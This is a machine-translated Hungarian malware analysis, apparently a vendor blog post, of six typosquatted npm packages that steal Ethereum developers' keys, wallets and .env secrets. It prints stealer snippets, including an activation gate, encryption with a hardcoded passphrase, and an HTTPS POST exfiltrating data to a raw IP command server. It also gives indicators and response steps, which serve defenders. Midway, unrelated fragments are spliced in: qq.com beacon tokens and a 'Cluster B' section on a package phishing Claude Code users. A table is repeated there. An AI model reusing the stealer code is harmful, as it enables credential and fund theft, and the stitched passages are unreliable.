EVMDeFi npm elgépelési támadás ellopja a fejlesztői kulcsokat

EVM/DeFi npm typosquatting támadás ellopja a fejlesztői kulcsokat

TL, DR

2026. május 6-án egyetlen npm kiadó, namikazesarada010206hat rosszindulatú csomagot juttatott el, amelyek az Ethereum, a Solidity és a DeFi fejlesztői ökoszisztémát vették célba.

A csomagok, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsés web3-utils-core, elfogadható neveket használt, amelyek úgy néztek ki, mint a népszerű Web3 eszközök segítőkönyvtárai.

Mind a hat csomag ugyanazt tartalmazta telemetry.js fájl. A fájl bájt-azonos volt a fürtön belül, SHA-256-tal:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

A kártevő nem fut a telepítés során. Nincs preinstall or postinstall hook. Ehelyett akkor aktiválódik, amikor a csomagot importálják a következőn keresztül: require().

Az a részlet számít.

A beültetés addig vár, amíg a fejlesztő ténylegesen használni nem kezdi a csomagot. Ezután ellenőrzi, hogy a munkaállomás úgy néz-e ki, mint egy valódi Ethereum / Solidity fejlesztői környezet. Alchemy vagy Infura kulcsokat, privát kulcsokat, mnemonikokat, telepítői kulcsokat vagy egy helyi Foundry könyvtárat keres.

Ha a gazdagép egyezik, a lopó begyűjti az SSH privát kulcsokat, a Foundry / Geth / Brownie pénztárca kulcstárolóit, .env* fájlokat és érzékeny környezeti változókat. AES-256-GCM titkosítással titkosítja a csomagot egy fixen kódolt jelszóval, majd egy nyers IPv4 C2 végpontra szivárogtatja ki, letiltott TLS-ellenőrzéssel.

A Xygeni kártevő-elővigyázatossági (MEW) rendszere mind a hat csomagot rosszindulatúként igazolta. Az npm rendszerleíró adatbázis eltávolítási jelentéscsomagjának elkészítése folyamatban van.

A klaszter: Hat csomag, egy kiadó

A kiadói fiók namikazesarada010206 ellenőrizetlen Gmail-címhez volt kapcsolva namikazesarada010206@gmail.com.

A kampány egynapos kiadványsorozatként jelent meg 2026. május 6-án. Mind a hat csomagot a következő verziókban készítették el: 1.0.0, nulla futásidejű függőséggel rendelkezett, és csak három fájlt szállított:

package.json index.js telemetry.js

Ugyanezt a forráskód-tárházat is deklarálták:

https://github.com/harunosakura030303-maker/evmchain-config

Az első három csomagot az MEW szkennerek az első megjelenéskor elkapták. A fennmaradó hármat kényszerített megjelöléssel látták el a kiadó npm profiljának elemzői áttekintése után. Miután ugyanaz a bájtazonos telemetry.js megerősítést nyert a klaszterben, a konzisztencia alapján rosszindulatúként zárták le őket.

Csomag Változat npm Közzétéve MEW jegy Verdikt
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Rosszindulatú
viem-utils-core 1.0.0 2026-05-06 #51050 Rosszindulatú
hardhat-core-utils 1.0.0 2026-05-06 #51051 Rosszindulatú
evm-utils 1.0.0 2026-05-06 #51069 Rosszindulatú, következetességből fakadóan
öntödei segédeszközök 1.0.0 2026-05-06 #51071 Rosszindulatú, következetességből fakadóan
web3-utils-core 1.0.0 2026-05-06 #51070 Rosszindulatú, következetességből fakadóan

A névadási stratégia egyszerű, de hatékony.

Ezek a csomagok nem személyesítik meg a pontos upstream neveket. Ehelyett valószínű „segédprogram” utótagokat használnak, mint például -core, -utilsés -utils-coreEmiatt olyan kiegészítő könyvtáraknak tűnnek, amiket egy fejlesztő a Web3 eszközök közelében elvárhat.

Kártékony csomag Jogos célpont
viem-core viem, egy népszerű Ethereum TypeScript kliens
viem-utils-core viem
hardhat-core-utils hardhat, egy mainstream Solidity fejlesztői környezet
evm-utils Általános EVM eszköznévtér
öntödei segédeszközök öntöde, egy Solidity szerszámlánc
web3-utils-core web3-segédprogramok, Web3.js segítők

Ez a „kiegészítő csomag” minta: nem „Én vagyok az igazi csomag”, hanem „Én egy ésszerű segítőtársnak tűnök az igazi csomag körül”.

A gyorsan mozgó DeFi-fejlesztők számára ez már önmagában is kockázatot jelent.

Mi történik a csomag importálásakor?

A támadási lánc kicsi, szándékos és a kriptofejlesztői környezetekre összpontosít.

Nincs rögzítőhorog. Ehelyett minden csomag tartalmaz egy index.js amely exportálja a csonkfunkciókat, majd betölti a rosszindulatú telemetria modult.

require('./telemetry').init();

Ez azt jelenti, hogy a kártevő az első importáláskor aktiválódik.

Ez működési szempontból hasznos a támadó számára. Sok szkenner és tesztkörnyezet a telepítési idejű viselkedésre összpontosít. Ez a csomag addig vár, amíg egy fejlesztő, build szkript, tesztcsomag vagy futásidejű útvonal ténylegesen felhasználja.

Aktiválási kapu: Csak valódi Web3 fejlesztői munkaállomásokon aktiválható

Az implantátum legfontosabb része az aktivációs kapu.

A kártevő az Ethereum / Solidity fejlesztői gépeken gyakran előforduló környezeti változókat ellenőrzi:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Azt is ellenőrzi, hogy a Foundry telepítve van-e:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Ha egyik feltétel sem igaz, a függvény visszaadja az értéket, és nem tesz semmit.

Ezáltal a csomag csendesebb az általános elemzési környezetekben. Egy Foundry, Alchemy, Infura, privát kulcsok vagy mnemonik nélküli sandbox ártalmatlannak tűnő importálást láthat.

Egyező gazdagépen a kártevő 60-90 másodpercet vár a begyűjtés előtt:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

A késedelem csökkenti az import és az exfiltráció közötti nyilvánvaló összefüggést. .unref() A hívás lehetővé teszi a gazdafolyamat normál kilépését is, ha a csomagot egy rövid életű szkriptben importálták.

Ez nem zajos, „összecsapás és megragadás” viselkedés. Ez egy célzott lopó függvény, amely úgy lett kialakítva, hogy ne fusson le, hacsak a fejlesztői környezet nem éri meg a lopást.

Amit a tolvaj gyűjt

Miután az aktiválási kapun áthalad, a rosszindulatú program a Web3 fejlesztésében legfontosabb forrásokból gyűjti az adatokat: privát kulcsok, tárca kulcstárolók, telepítési hitelesítő adatok, felhőalapú titkok, npm tokenek és helyi projektkonfiguráció.

Forrás Mit gyűjtenek
folyamat.env Bármely változó egyezése /TOKEN|TITKOS|KULCS|JELSZÓ|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* PRIVATE KEY vagy BEGIN OPENSSH utasításokat tartalmazó fájlok, beleértve a teljes fájltartalmat is
~/.foundry/kulcstárak/* Foundry pénztárca kulcstároló fájlok
~/.ethereum/keystore/* Geth pénztárca kulcstároló fájlok
~/.brownie/fiókok/* Brownie pénztárca kulcstároló fájlok
${cwd}/.env Teljes fájltartalom
${cwd}/.env.local Teljes fájltartalom
${cwd}/.env.produkció Teljes fájltartalom
${cwd}/.env.fejlesztés Teljes fájltartalom
os.hostname() Gazdagép metaadatai
crypto.randomUUID() Áldozat/munkamenet azonosító
Dátum.most() Gyűjtemény időbélyegzője
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Az ATTA tokenek a következők:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Nem tudtuk megerősíteni, hogy a telemetria az üzemeltető saját elemzési adataiból vagy egy külön monetizált csatornából származott. Az ATTA tokenek mindkét általunk vizsgált mintában megegyeznek.

B klaszter: heibai

claude.hk OAuth adathalászat + ANTHROPIC_BASE_URL eltérítés

Az április 1-jei minta a kampány nyersebb, korábbi ága.

heibai:2.1.88-claude.hk-4 közzétette: wuguoqiangvip28, egy 2025. június 7-én létrehozott fiók. A csomag kifejezetten a jogosulatlan verziókkal ellentétesen állította be magát. 2.1.88 Antropikus kibocsátás.

Nem foglalkozik a CA-tanúsítvány MITM-jével. Ehelyett hazudik a felhasználónak az OAuth végpontról.

A kiszivárgott Claude Code forráskódon található rosszindulatú kiegészítések a következők:

Forrás Mit gyűjtenek
folyamat.env Bármely változó egyezése /TOKEN|TITKOS|KULCS|JELSZÓ|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* PRIVATE KEY vagy BEGIN OPENSSH utasításokat tartalmazó fájlok, beleértve a teljes fájltartalmat is
~/.foundry/kulcstárak/* Foundry pénztárca kulcstároló fájlok
~/.ethereum/keystore/* Geth pénztárca kulcstároló fájlok
~/.brownie/fiókok/* Brownie pénztárca kulcstároló fájlok
${cwd}/.env Teljes fájltartalom
${cwd}/.env.local Teljes fájltartalom
${cwd}/.env.produkció Teljes fájltartalom
${cwd}/.env.fejlesztés Teljes fájltartalom
os.hostname() Gazdagép metaadatai
crypto.randomUUID() Áldozat/munkamenet azonosító
Dátum.most() Gyűjtemény időbélyegzője

A célpontok listája rendkívül specifikus. Ez nem általános böngészőlopás vagy széles körű hitelesítő adatok ellopása. Azokat a fejlesztőket célozza meg, akik Ethereum alkalmazásokat építenek, tesztelnek, telepítenek vagy üzemeltetnek.

A Foundry, Geth és Brownie kulcstárolók beillesztése különösen fontos. Ezek a fájlok közvetlen hozzáférést biztosíthatnak tárcákhoz vagy telepítési identitásokhoz. Ha a támadó jelszavakkal, emlékeztetőkkel vagy környezeti titkokkal tudja párosítani őket, akkor képes lehet pénzeszközöket átutalni, telepítőket megszemélyesíteni, vagy feltörni az intelligens szerződések működését.

Titkosítás a kiszivárgás előtt

A kártevő titkosítja a gyűjtött adatokat, mielőtt elküldené azokat.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

A fixen kódolt jelszó a következő:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

A végső hasznos adat JSON formátumban van csomagolva:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

A titkosítás önmagában nem teszi a kártevőt fejlettebbé. Azonban megnehezíti a hálózat vizsgálatát. A kimenő sávot figyelő védőeszköz látná a JSON hasznos adatot, de nem az ellopott kulcsokat, pénztárca fájlokat vagy más hasonló fájlokat. .env fixen kódolt jelszó és dekódolási logika nélküli tartalmak.

Kiszivárgás nyers IPv4 C2-be

A kiszűrési útvonal fixen kódolva van:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

A rosszindulatú program adatokat küld a következő címre:

https://76.13.37.80:8443/api/v1/telemetry

Két részlet emelkedik ki.

Először is, a C2 egy nyers IPv4-cím, nem pedig egy domain. Ez szükségtelenné teszi a domainregisztrációt, és elkerüli a domainalapú észleléseket.

Másodszor, a TLS-ellenőrzés le van tiltva a következővel:

rejectUnauthorized: false

Ez lehetővé teszi a rosszindulatú program számára, hogy bármilyen tanúsítványt elfogadjon, beleértve az önaláírt tanúsítványokat is. Más szóval, a támadó titkosított átvitelhez jut érvényes nyilvános tanúsítvány nélkül.

Nincs újrapróbálkozási logika és nincs tartalék host. A hibákat a rendszer csendben kezeli. Ezáltal a csomag nem reagál, ha a C2 offline állapotban van vagy nem érhető el.

Miért számít ez a kampány?

A fejlesztőknek szánt legtöbb rosszindulatú npm csomag szélesebb körű hitelesítő adatokat használ: npm tokeneket, AWS kulcsokat, GitHub tokeneket vagy .npmrc fájlokat.

Ez a kampány leszűkíti a célközönséget.

Olyan jeleket keres, amelyek arra utalnak, hogy a gép egy Ethereum vagy Solidity fejlesztőhöz tartozik. Ezután pontosan azokat az eszközöket kéri le, amelyek az adott környezetben számítanak: tárca kulcstárolók, privát kulcsok, mnemonikus kódok, telepítői kulcsok, .env fájlokat és SSH kulcsokat.

Ez veszélyesebbé teszi a kampányt a Web3 csapatok számára, mint egy általános npm-lopó.

Egy sikeres fertőzés a következőket okozhatja:

  • Telepítési tárcák
  • Intelligens szerződéses adminisztrátori kulcsok
  • RPC-szolgáltatói kulcsok
  • Felhőalapú telepítési hitelesítő adatok
  • npm közzétételi tokenek
  • SSH hozzáférés a fejlesztői vagy build infrastruktúrához
  • A projekt titkait itt tároljuk: .env fájlok
  • Foundry, Geth vagy Brownie tárcakulcstárai

A csomagnevek egyértelmű társadalmi manipulációról is tanúskodnak. Ismerős eszközneveken keresztül célozzák meg a Web3 fejlesztői ökoszisztémát: viem, hardhat, foundry, evmés web3.

A szereplőnek nem kell veszélyeztetnie a valódi projekteket. Csak egy fejlesztőre van szükségük, aki telepít egy látszólag elfogadható kiegészítő csomagot.

Kompromittálódás és felderítés indikátorai

Csomagok és kiadó
Mező Érték:
npm kiadó namikazesarada010206
Kiadó e-mail címe namikazesarada010206@gmail.com
email ellenőrizve Nem
SCM ellenőrzött Nem
Hírnév pontszám 1.0
Csomagok viem-core, viem-utils-core, hardhat-core-utils, evm-utils, öntödei-utils, web3-utils-core
változatok Minden 1.0.0
Forrásadattár https://github.com/harunosakura030303-maker/evmchain-config
Megerősített rosszindulatú Mind a hat csomag
Hálózat
típus Érték:
C2 végpont https://76.13.37.80:8443/api/v1/telemetry
C2 IP-cím 76.13.37.80
C2 port 8443/tcp
TLS-viselkedés elutasításUnauthorized: hamis
Hasznos teher séma {"v":2,"iv": ,,d": ,,t": }
Fájlok és hashek
típus Érték:
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Csomag elrendezése package.json, index.js, telemetry.js
Fájlok száma 3
Hozzávetőleges teljes méret 3.4 KB

Aktivációs jelek

A kártevő a következő környezeti változókat ellenőrzi:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Ezenkívül ellenőrzi a következőket:

~/.foundry/

Célzott gazdaútvonalak

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Gyűjtemény Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Észlelési megjegyzések

Számos szabály képes leküzdeni ezt a kampányt teljes viselkedéselemzés nélkül.

Először is, vizsgáld át a zárolási fájlokat a hat kártékony csomagnév után:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Bármelyik mérkőzés package-lock.json, yarn.lock, pnpm-lock.yamlvagy node_modules A történelmet komoly eseményként kell kezelni.

Másodszor, figyelje a Node.js folyamatokat, amelyek tárca kulcstároló útvonalakat olvasnak:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Ez ritkán jogos viselkedés egy segítő függőségként importált csomag esetében. Különösen gyanús, ha kimenő hálózati tevékenység követi.

Harmadszor, blokkolja vagy figyelmeztessen a HTTPS-kapcsolatokra a következőkkel kapcsolatban:

76.13.37.80:8443

Különösen akkor, ha a kérés útvonala:

/api/v1/telemetry

Negyedszer, keress olyan npm csomagokat, amelyek ezeket a tulajdonságokat ötvözik:

  • Friss vagy alacsony hírű kiadó
  • Nem ellenőrzött Gmail-fiók
  • Web3-mal szomszédos csomag neve
  • Nincs érdemi adattár-előzmény
  • Apró csomagolás elrendezése
  • index.js amely betölt egy telemetriai vagy segédfájlt
  • Nincsenek futásidejű függőségek
  • Érzékeny környezeti változók gyűjteménye
  • Pénztárca kulcstár hozzáférés

Ez a minta hasznosabb, mint egyetlen IOC, mivel a következő csomag megváltoztathatja az IP-címet, de megtarthatja ugyanazt a célzási logikát.

Kompromisszumos Válasz Ellenőrzőlista

Ha egy fejlesztő a hat csomag egyikét használta, és a környezete megfelelt az aktiválási kapunak, akkor a munkaállomást feltörtként kell kezelni.

Ez magában foglalja a Foundry telepített gépeit, a környezetben található Alchemy vagy Infura kulcsokat, a privát kulcsokat, a mnemonikus kódokat vagy a telepítői kulcsokat.

Ajánlott válasz:

  • Válassza le a gazdagépet a hálózatról.
  • megőrzése node_modules, zárolási fájlok, shell előzmények és releváns naplók a forenzikus elemzéshez.
  • Minden SSH kulcspárt elforgatni ~/.ssh/.
  • Minden kulcstárolóhoz cserélje ki a tárcakulcsokat a ~/.foundry, ~/.ethereumés ~/.brownie.
  • Utalj pénzt új pénztárcákba.
  • Forgasd el az összes tárolt titkot .env* fájlok azokban a tárolókban, amelyekben a fejlesztő dolgozott.
  • Forgassa el a gyűjtemény reguláris kifejezésének megfelelő környezeti titkokat, beleértve az AWS-kulcsokat, az npm-tokeneket, a telepítési tokeneket, az API-kulcsokat, a privát kulcsokat, a seedeket és a mnemonikokat.
  • A csomag első telepítése óta a felhő, az npm, a GitHub, az RPC-szolgáltató és a blokklánc tevékenységeinek auditálása.
  • Újratelepítés előtt telepítse újra a munkaállomás képét.

Amit a védőknek el kell vinniük

Ez a kampány bemutatja, hogyan fejlődik az npm typosquatting a nagy értékű fejlesztői ökoszisztémák körül.

A szereplőnek nem volt szüksége kitartásra. Nem volt szükségük ködösítésre. Még csak telepítési idejű végrehajtásra sem.

Ehelyett három dologra támaszkodtak:

  • Valószínű Web3 csomagnevek
  • Aktiválás csak valódi kriptofejlesztő gépeken
  • Az Ethereum fejlesztők számára legfontosabb fájlok és titkok közvetlen ellopása

Emiatt a kampány könnyen elsiklahat a szélesebb közönség előtt, és veszélyes lehet, ha megfelelő környezetbe kerül.

A Web3 csapatok számára a tanulság egyértelmű: a függőségek nevét a fenyegetési modell részeként kell kezelni. Egy ártalmatlan segítőcsomagnak tűnő csomag is a tárca feltörésének legrövidebb útja lehet.

Jelentve az npm rendszerleíró adatbázisnak. Frissíteni fogjuk ezt a bejegyzést, amint a közzétevői fiók és a csomagok eltávolításra kerülnek.

sca-tools-software-composition-elemző-eszközök
Szoftverkockázatok rangsorolása, elhárítása és biztosítása
Szerezd meg az ingyenes fiókodat.
Nem szükséges hitelkártya.

Biztosítsa szoftverfejlesztését és -szállítását

az Xygeni termékcsomaggal